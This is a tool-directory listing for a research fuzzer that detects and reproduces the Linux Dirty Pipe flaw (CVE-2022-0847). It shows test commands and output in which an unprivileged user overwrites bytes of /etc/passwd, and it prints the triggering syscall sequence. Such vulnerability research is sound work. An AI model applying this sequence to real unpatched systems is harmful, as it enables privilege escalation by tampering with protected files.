Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
reproducer-poc-CVE-2022-0847 — Very rough PoC for detecting/reproducing CVE-2022-0847 (dirty pipe) through random generation of syscalls and differential fuzzing against a model. | Kitploit
Tools/GitHubGitHub/stfnw/reproducer-poc-cve-2022-0847
Dynamic Analysis (Sandboxing)Vulnerability AnalysisExploitationFuzzingPenetration TestingBinary Exploitation
GitHubstfnw/reproducer-poc-cve-2022-0847

reproducer-poc-CVE-2022-0847

Very rough PoC for detecting/reproducing CVE-2022-0847 (dirty pipe) through random generation of syscalls and differential fuzzing against a model.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
6 months agoNot yet reviewed

Naive detector and reproducer of CVE-2022-0847 (dirty pipe). Uses simple generator of syscall sequences / programs from purposefully limited set of building blocks / input values (only generation, no advanced fuzzing; no mutation; no coverage guidance; no shrinking / minimization) and detects misbehavior inspired by stateful property based testing by comparing return values from each action on a model and the real kernel (differential fuzzing against a model).

As a disclaimer: the code uses lots of magic numbers/hacks/inbuilt values in the building blocks to be able to generate the triggering minimal PoC. It is therefore not really (only halfway) representative for realistic generating of the right syscall sequence with the right parameters. Unguided generation accross all parameters through the large possible state space probably would take too much longer.

I tried to mark all places where a value or the choice of actions is directly influenced by assumed knowledge about the poc itself -- and which therefore would have to be randomly found for a fully realistic poc -- with the string "MAGIC VALUE".

This should be viewed as a very rough proof-of-concept.

Example of successful execution:

root@kitploit:~
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux

# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"

# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:

# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847

# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3

Output:

root@kitploit:~
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 6f 6f 74 3a 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |root::0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34

thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
  - [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
  - [PipeFd { buf: [0], capacity: 65536 }]
  - Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])

Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

$ # note that this poc is found practically instantly

$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000  72 00 00 00 00 3a 30 3a  30 3a 72 6f 6f 74 3a 2f  |r....:0:0:root:/|
00000010  72 6f 6f 74 3a 2f 62 69  6e 2f 62 61 73 68 0a 64  |root:/bin/bash.d|
00000020  61 65 6d 6f 6e 3a 78 3a  31 3a 31 3a 64 61 65 6d  |aemon:x:1:1:daem|

Note that this poc is slightly different than the one from build-kernel-and-minimal-poc, since the order of syscalls is changed in a way that doesn't actually matter for the bug. This shows that the lock-step execution of commands against model and real-world SUT also correctly identifies this situation.

Download Tool